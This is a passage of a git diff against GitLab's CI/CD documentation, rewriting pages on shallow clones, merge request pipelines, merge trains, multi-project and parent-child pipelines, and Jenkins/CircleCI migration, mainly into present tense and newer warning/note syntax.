https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -32,7 +32,7 @@ GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git- by default. Ideally, you should always use `GIT_DEPTH` with a small number -like 10. This will instruct GitLab Runner to perform shallow clones. +like 10. This instructs GitLab Runner to perform shallow clones. Shallow clones make Git request only the latest set of changes for a given branch, up to desired number of commits as defined by the `GIT_DEPTH` variable. @@ -152,7 +152,7 @@ concurrent = 4 This `config.toml`: - Uses the `shell` executor, -- Specifies a custom `/builds` directory where all clones will be stored. +- Specifies a custom `/builds` directory where all clones are stored. - Enables the ability to specify `GIT_CLONE_PATH`, - Runs at most 4 jobs at once. @@ -177,7 +177,7 @@ concurrent = 4 This `config.toml`: - Uses the `docker` executor, -- Specifies a custom `/builds` directory on disk where all clones will be stored. +- Specifies a custom `/builds` directory on disk where all clones are stored. We host mount the `/builds` directory to make it reusable between subsequent runs and be allowed to override the cloning strategy. - Doesn't enable the ability to specify `GIT_CLONE_PATH` as it is enabled by default. @@ -187,7 +187,7 @@ This `config.toml`: Once we have the executor configured, we need to fine tune our `.gitlab-ci.yml`. -Our pipeline will be most performant if we use the following `.gitlab-ci.yml`: +Our pipeline is most performant if we use the following `.gitlab-ci.yml`: ```yaml variables: @@ -205,8 +205,8 @@ The above configures a: because we use the same clone path for all forks. Why use `$CI_CONCURRENT_ID`? The main reason is to ensure that worktrees used are not conflicting -between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor, -so as long as we use it to construct the path, it is guaranteed that this directory will not conflict +between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor. +When we use it to construct the path, this directory does not conflict with other concurrent jobs running. ### Store custom clone options in `config.toml` @@ -220,7 +220,7 @@ In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agn a configuration of the runner. We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) -with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it: +with the following specification that is used by the runner if `.gitlab-ci.yml` does not override it: ```toml concurrent = 4 diff --git a/doc/ci/lint.md b/doc/ci/lint.md index cef71a68d72..ec3c128f076 100644 --- a/doc/ci/lint.md +++ b/doc/ci/lint.md @@ -1,10 +1,11 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- - -# CI Lint +<!-- markdownlint-disable MD044 --> +# Validate .gitlab-ci.yml syntax with the CI Lint tool +<!-- markdownlint-enable MD044 --> If you want to test the validity of your GitLab CI/CD configuration before committing the changes, you can use the CI Lint tool. This tool checks for syntax and logical diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index ac9cda4e46c..220032eeab1 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, index last_update: 2019-07-03 --- @@ -57,7 +57,7 @@ When you use this method, you have to specify `only: - merge_requests` for each example, the pipeline contains a `test` job that is configured to run on merge requests. The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword, -so they will not run on merge requests. +so they don't run on merge requests. ```yaml build: @@ -82,7 +82,7 @@ deploy: #### Excluding certain jobs The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with -that keyword are run in the context of a merge request; no other jobs will be run. +that keyword are run in the context of a merge request; no other jobs run. However, you can invert this behavior and have all of your jobs run _except_ for one or two. @@ -120,8 +120,8 @@ C: Therefore: -- Since `A` and `B` are getting the `only:` rule to execute in all cases, they will always run. -- Since `C` specifies that it should only run for merge requests, it will not run for any pipeline +- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run. +- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline except a merge request pipeline. This helps you avoid having to add the `only:` rule to all of your jobs to make @@ -188,7 +188,7 @@ can create pipelines in the parent project for merge requests from a forked project. In the merge request, go to the **Pipelines** and click **Run Pipeline** button. -CAUTION: **Caution:** +WARNING: Fork merge requests could contain malicious code that tries to steal secrets in the parent project when the pipeline runs, even before merge. Reviewers must carefully check the changes in the merge request before triggering the pipeline. GitLab shows @@ -209,7 +209,7 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix. If you are experiencing duplicated pipelines when using `rules`, take a look at the [important differences between `rules` and `only`/`except`](../yaml/README.md#prevent-duplicate-pipelines), -which will help you get your starting configuration correct. +which helps you get your starting configuration correct. If you are seeing two pipelines when using `only/except`, please see the caveats related to using `only/except` above (or, consider moving to `rules`). diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png Binary files differnew file mode 100644 index 00000000000..2584cd4d38d --- /dev/null +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 9c6fbba1337..1b9bade3b76 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 --- @@ -15,12 +15,14 @@ source branch into a target branch. By default, the CI pipeline runs jobs against the source branch. With *pipelines for merged results*, the pipeline runs as if the changes from -the source branch have already been merged into the target branch. +the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches. + + If the pipeline fails due to a problem in the target branch, you can wait until the target is fixed and re-run the pipeline. -This new pipeline will run as if the source is merged with the updated target, and you -will not need to rebase. +This new pipeline runs as if the source is merged with the updated target, and you +don't need to rebase. The pipeline does not automatically run when the target branch changes. Only changes to the source branch trigger a new pipeline. If a long time has passed since the last successful @@ -33,7 +35,7 @@ When the merge request can't be merged, the pipeline runs against the source bra - The merge request is a [**Draft** merge request](../../../user/project/merge_requests/work_in_progress_merge_requests.md). In these cases, the pipeline runs as a [pipeline for merge requests](../index.md) -and is labeled as `detached`. If these cases no longer exist, new pipelines will +and is labeled as `detached`. If these cases no longer exist, new pipelines again run against the merged results. Any user who has developer [permissions](../../../user/permissions.md) can run a @@ -59,7 +61,7 @@ To enable pipelines for merged results for your project: 1. Check **Enable merged results pipelines.**. 1. Click **Save changes**. -CAUTION: **Caution:** +WARNING: If you select the check box but don't configure your CI/CD to use pipelines for merge requests, your merge requests may become stuck in an unresolved state or your pipelines may be dropped. @@ -71,7 +73,7 @@ GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-m a **Start/Add Merge Train button**. Generally, this is a safer option than merging merge requests immediately, because your -merge request will be evaluated with an expected post-merge result before the actual +merge request is evaluated with an expected post-merge result before the actual merge happens. For more information, read the [documentation on Merge Trains](merge_trains/index.md). @@ -84,10 +86,10 @@ GitLab CI/CD can detect the presence of redundant pipelines, and cancels them to conserve CI resources. When a user merges a merge request immediately within an ongoing merge -train, the train will be reconstructed, as it will recreate the expected +train, the train is reconstructed, because it recreates the expected post-merge commit and pipeline. In this case, the merge train may already have pipelines running against the previous expected post-merge commit. -These pipelines are considered redundant and will be automatically +These pipelines are considered redundant and are automatically canceled. ## Troubleshooting diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index d4099cdeafd..0b25b32b2a5 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 --- @@ -39,7 +39,7 @@ To add a merge request to a merge train, you need [permissions](../../../../user Each merge train can run a maximum of **twenty** pipelines in parallel. If more than twenty merge requests are added to the merge train, the merge requests -will be queued until a slot in the merge train is free. There is no limit to the +are queued until a slot in the merge train is free. There is no limit to the number of merge requests that can be queued. ## Merge train example @@ -55,7 +55,7 @@ If the pipeline for `B` fails, it is removed from the train. The pipeline for `C` restarts with the `A` and `C` changes, but without the `B` changes. If `A` then completes successfully, it merges into the target branch, and `C` continues -to run. If more merge requests are added to the train, they will now include the `A` +to run. If more merge requests are added to the train, they now include the `A` changes that are included in the target branch, and the `C` changes that are from the merge request already in the train. @@ -90,7 +90,7 @@ To enable merge trains for your project: In GitLab 13.5 and earlier, there is only one checkbox, named **Enable merge trains and pipelines for merged results**. -CAUTION: **Caution:** +WARNING: If you select the check box but don't configure your CI/CD to use pipelines for merge requests, your merge requests may become stuck in an unresolved state or your pipelines may be dropped. @@ -143,7 +143,7 @@ This is the fastest option to get the change merged into the target branch.  -CAUTION: **Caution:** +WARNING: Each time you merge a merge request immediately, the current merge train is recreated and all pipelines restart. @@ -152,7 +152,7 @@ is recreated and all pipelines restart. ### Merge request dropped from the merge train immediately If a merge request is not mergeable (for example, it's a draft merge request, there is a merge -conflict, etc.), your merge request will be dropped from the merge train automatically. +conflict, etc.), your merge request is dropped from the merge train automatically. In these cases, the reason for dropping the merge request is in the **system notes**. @@ -179,7 +179,7 @@ for more information. A Merge Train pipeline cannot be retried because the merge request is dropped from the merge train upon failure. For this reason, the retry button does not appear next to the pipeline icon. -In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which will then initiate a new pipeline. +In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which then initiates a new pipeline. ### Unable to add to merge train with message "The pipeline for this merge request failed." @@ -195,9 +195,10 @@ you can clear the **Pipelines must succeed** check box and keep **Enable merge trains and pipelines for merged results** (merge trains) enabled. If you want to keep the **Pipelines must succeed** option enabled along with Merge -Trains, you can create a new pipeline for merged results when this error occurs by -going to the **Pipelines** tab and clicking **Run pipeline**. Then click -**Start/Add to merge train when pipeline succeeds**. +Trains, create a new pipeline for merged results when this error occurs: + +1. Go to the **Pipelines** tab and click **Run pipeline**. +1. Click **Start/Add to merge train when pipeline succeeds**. See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) for more information. diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index dbc0397bb0b..3966e5e3e89 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -11,7 +11,7 @@ type: reference GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. -You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log. +You can configure your job to use custom Metrics Reports, and GitLab displays a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.  diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 13190c15cca..5d217466f5c 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- @@ -200,7 +200,7 @@ deploy_prod: ### Filter job by branch -[Rules](../yaml/README.md#rules) are a mechanism to determine if the job will or will not run for a specific branch. +[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch. CircleCI example of a job filtered by branch: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index afec94ca91c..71d5e6eb859 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- @@ -33,7 +33,7 @@ For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline or how to use Auto DevOps to test your code automatically, watch the [Migrating from Jenkins to GitLab](https://www.youtube.com/watch?v=RlEVGOpYF5Y) video. -Otherwise, read on for important information that will help you get the ball rolling. Welcome +Otherwise, read on for important information that helps you get the ball rolling. Welcome to GitLab! If you have questions that are not answered here, the [GitLab community forum](https://forum.gitlab.com/) @@ -46,22 +46,22 @@ changes that comes with the move, and successfully managing them. There are a fe things we have found that helps this: - Setting and communicating a clear vision of what your migration goals are helps - your users understand why the effort is worth it. The value will be clear when + your users understand why the effort is worth it. The value is clear when the work is done, but people need to be aware while it's in progress too. - Sponsorship and alignment from the relevant leadership team helps with the point above. - Spending time educating your users on what's different, sharing this document with them, - and so on will help ensure you are successful. + and so on helps ensure you are successful. - Finding ways to sequence or delay parts of the migration can help a lot, but you don't want to leave things in a non-migrated (or partially-migrated) state for too long. To gain all the benefits of GitLab, moving your existing Jenkins setup over - as-is, including any current problems, will not be enough. You need to take advantage + as-is, including any current problems, isn't enough. You need to take advantage of the improvements that GitLab offers, and this requires (eventually) updating your implementation as part of the transition. ## JenkinsFile Wrapper -We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which will allow -you to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process +We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which +you can use to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process of transition, by letting you delay the migration of less urgent pipelines for a period of time. If you are interested in helping GitLab test the wrapper, join our [public testing issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215675) for instructions and to provide your feedback. @@ -103,8 +103,8 @@ There are some high level differences between the products worth mentioning: - One important difference is that jobs run independently of each other and have a fresh environment in each job. Passing artifacts between jobs is controlled using the [`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies) - keywords. When finished, the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) - feature will allow you to more easily persist a common workspace between serial jobs. + keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) + feature to more easily persist a common workspace between serial jobs. - The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. @@ -114,7 +114,7 @@ There are some high level differences between the products worth mentioning: - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment itself and publish that to the container registry. Then, have your pipelines use this instead of each building their - own environment, which will be slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). + own environment, which is slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). - A central utilities repository can be a great place to put assorted scheduled jobs or other manual jobs that function like utilities. Jenkins installations tend to have a few of these. @@ -129,12 +129,12 @@ agents you were using. There are some important differences in the way runners work in comparison to agents: - Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). - They will self-select jobs from the scopes you've defined automatically. + They self-select jobs from the scopes you've defined automatically. - You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. -- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html) - which will let you configure them to be provisioned as needed, and scaled down when not. +- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html). + Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) @@ -189,8 +189,8 @@ pdf: ``` Additionally, we have package management features like a built-in container, NPM, and Maven registry that you -can leverage. You can see the complete list of packaging features (which includes links to documentation) -in the [Packaging section of our documentation](../../README.md#package). +can leverage. You can see the complete list of packaging features in the +[Packages & Registries](../../user/packages/index.md) documentation. ## Integrated features @@ -227,15 +227,15 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md) +The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage -of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get -up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs +of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). +We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which -case it will apply to all jobs in the pipeline: +case it applies to all jobs in the pipeline: ```yaml my_job: @@ -246,7 +246,7 @@ my_job: The `post` section defines the actions that should be performed at the end of the pipeline. GitLab also supports this through the use of stages. You can define your stages as follows, and any jobs assigned to the `before_pipeline` -or `after_pipeline` stages will run as expected. You can call these stages anything you like: +or `after_pipeline` stages run as expected. You can call these stages anything you like: ```yaml stages: diff --git a/doc/ci/multi_project_pipeline_graphs.md b/doc/ci/multi_project_pipeline_graphs.md index af10e5b6126..66efa0a7c35 100644 --- a/doc/ci/multi_project_pipeline_graphs.md +++ b/doc/ci/multi_project_pipeline_graphs.md @@ -3,3 +3,6 @@ redirect_to: 'multi_project_pipelines.md' --- This document was moved to [another location](multi_project_pipelines.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 5837bf6cf6b..1df196182c0 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -19,9 +19,10 @@ but also across projects with multi-project pipelines. Multi-project pipelines are useful for larger products that require cross-project inter-dependencies, such as those adopting a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/). -For a demonstration of how cross-functional development teams can use cross-pipeline -triggering to trigger multiple pipelines for different microservices projects, see -[Cross-project Pipeline Triggering and Visualization](https://about.gitlab.com/handbook/marketing/product-marketing/demo/#cross-project-pipeline-triggering-and-visualization-may-2019---1110). +Cross-functional development teams can use cross-pipeline +triggering to trigger multiple pipelines for different microservices projects. Learn more +in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/) +at GitLab@learn, in the Continuous Integration (CI) section. Additionally, it's possible to visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)** @@ -46,7 +47,7 @@ When you configure GitLab CI/CD for your project, you can visualize the stages o  In the Merge Request Widget, multi-project pipeline mini-graphs are displayed, -and when hovering or tapping (on touchscreen devices) they will expand and be shown adjacent to each other. +and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other.  @@ -97,16 +98,16 @@ staging: trigger: my/deployment ``` -In the example above, as soon as `rspec` job succeeds in the `test` stage, -the `staging` bridge job is going to be started. The initial status of this -job will be `pending`. GitLab will create a downstream pipeline in the -`my/deployment` project and, as soon as the pipeline gets created, the -`staging` job will succeed. `my/deployment` is a full path to that project. +In the example above, as soon as the `rspec` job succeeds in the `test` stage, +the `staging` bridge job is started. The initial status of this +job is `pending`. GitLab then creates a downstream pipeline in the +`my/deployment` project and, as soon as the pipeline is created, the +`staging` job succeeds. `my/deployment` is a full path to that project. The user that created the upstream pipeline needs to have access rights to the -downstream project (`my/deployment` in this case). If a downstream project can -not be found, or a user does not have access rights to create pipeline there, -the `staging` job is going to be marked as _failed_. +downstream project (`my/deployment` in this case). If a downstream project is +not found, or a user does not have access rights to create a pipeline there, +the `staging` job is marked as _failed_. When using: @@ -117,21 +118,18 @@ When using: - [`only/except`](yaml/README.md#onlyexcept-basic) to control job behavior, use the `pipelines` keyword. -CAUTION: **Caution:** -In the example, `staging` will be marked as succeeded as soon as a downstream pipeline +In the example, `staging` is marked as successful as soon as a downstream pipeline gets created. If you want to display the downstream pipeline's status instead, see [Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline). -NOTE: **Note:** -Bridge jobs do not support every configuration entry that a user can use -in the case of regular jobs. Bridge jobs will not be picked by a runner, -so there is no point in adding support for `script`, for example. If a user -tries to use unsupported configuration syntax, YAML validation will fail upon -pipeline creation. +NOTE: +Bridge jobs [do not support every configuration keyword](#limitations) that can be used +with other jobs. If a user tries to use unsupported configuration keywords, YAML +validation fails on pipeline creation. ### Specifying a downstream pipeline branch -It is possible to specify a branch name that a downstream pipeline will use: +It is possible to specify a branch name that a downstream pipeline uses: ```yaml rspec: @@ -152,10 +150,10 @@ Use: [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is supported. -GitLab will use a commit that is currently on the HEAD of the branch when +GitLab uses a commit that is on the head of the branch when creating a downstream pipeline. -NOTE: **Note:** +NOTE: Pipelines triggered on a protected branch in a downstream project use the [permissions](../user/permissions.md) of the user that ran the trigger job in the upstream project. If the user does not have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See @@ -181,10 +179,10 @@ staging: trigger: my/deployment ``` -The `ENVIRONMENT` variable will be passed to every job defined in a downstream -pipeline. It will be available as an environment variable when GitLab Runner picks a job. +The `ENVIRONMENT` variable is passed to every job defined in a downstream +pipeline. It is available as an environment variable when GitLab Runner picks a job. -In the following configuration, the `MY_VARIABLE` variable will be passed to the downstream pipeline +In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline. @@ -210,7 +208,7 @@ downstream-job: ``` In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the -upstream pipeline will be passed to the `downstream-job` job, and will be available +upstream pipeline is passed to the `downstream-job` job, and is available within the context of all downstream builds. Upstream pipelines take precedence over downstream ones. If there are two @@ -289,9 +287,9 @@ upstream_bridge: ### Limitations -Because bridge jobs are a little different to regular jobs, it is not -possible to use exactly the same configuration syntax here, as one would -normally do when defining a regular job that will be picked by a runner. +Bridge jobs are a little different from regular jobs. It is not +possible to use exactly the same configuration syntax as when defining regular jobs +that are picked by a runner. Some features are not implemented yet. For example, support for environments. @@ -304,6 +302,7 @@ Some features are not implemented yet. For example, support for environments. - `only` and `except` - `when` (only with `on_success`, `on_failure`, and `always` values) - `extends` +- `needs` ## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)** @@ -318,7 +317,7 @@ tag in a different project: 1. Click subscribe. Any pipelines that complete successfully for new tags in the subscribed project -will now trigger a pipeline on the current project's default branch. The maximum +now trigger a pipeline on the current project's default branch. The maximum number of upstream pipeline subscriptions is 2 by default, for both the upstream and downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator. diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index a0965643970..d088d0d7e4d 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -52,8 +52,8 @@ For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8Kp ## Examples The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a -local YAML file to define the pipeline configuration. In this case, the parent pipeline will -trigger the child pipeline, and continue without waiting: +local YAML file to define the pipeline configuration. In this case, the parent pipeline +triggers the child pipeline, and continues without waiting: ```yaml microservice_a: @@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +The artifact path is parsed by GitLab, not the runner, so the path must match the +syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows +runner for testing, the path separator for the trigger job would be `/`. Other CI/CD +configuration for jobs, like scripts, that use the Windows runner would use `\`. + In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). @@ -173,4 +178,5 @@ possible to trigger another level of child pipelines. ## Pass variables to a child pipeline -You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline). +You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline) +the same way as for multi-project pipelines. diff --git a/doc/ci/permissions/README.md b/doc/ci/permissions/README.md index bc1e6ce3e0b..897d7b6ce51 100644 --- a/doc/ci/permissions/README.md +++ b/doc/ci/permissions/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/permissions.md#gitlab-cicd-permissions' --- This document was moved to [user/permissions.md](../../user/permissions.md#gitlab-cicd-permissions). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines.md b/doc/ci/pipelines.md index edebd12f07a..090dbd3d347 100644 --- a/doc/ci/pipelines.md +++ b/doc/ci/pipelines.md @@ -3,3 +3,6 @@ redirect_to: 'pipelines/index.md' --- This document was moved to [another location](pipelines/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png Binary files differindex 59276bda727..d9b8e71e6cb 100644 --- a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png +++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index f22d2373e5f..22e331f2de0 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/ci/pipelines.html' type: reference --- @@ -10,7 +10,7 @@ type: reference > Introduced in GitLab 8.8. -TIP: **Tip:** +NOTE: Watch the ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) webcast to see a comprehensive demo of a GitLab CI/CD pipeline. @@ -39,7 +39,7 @@ A typical pipeline might consist of four stages, executed in the following order - A `staging` stage, with a job called `deploy-to-stage`. - A `production` stage, with a job called `deploy-to-prod`. -NOTE: **Note:** +NOTE: If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -213,7 +213,7 @@ page, then using the **Delete** button.  -CAUTION: **Warning:** +WARNING: Deleting a pipeline expires 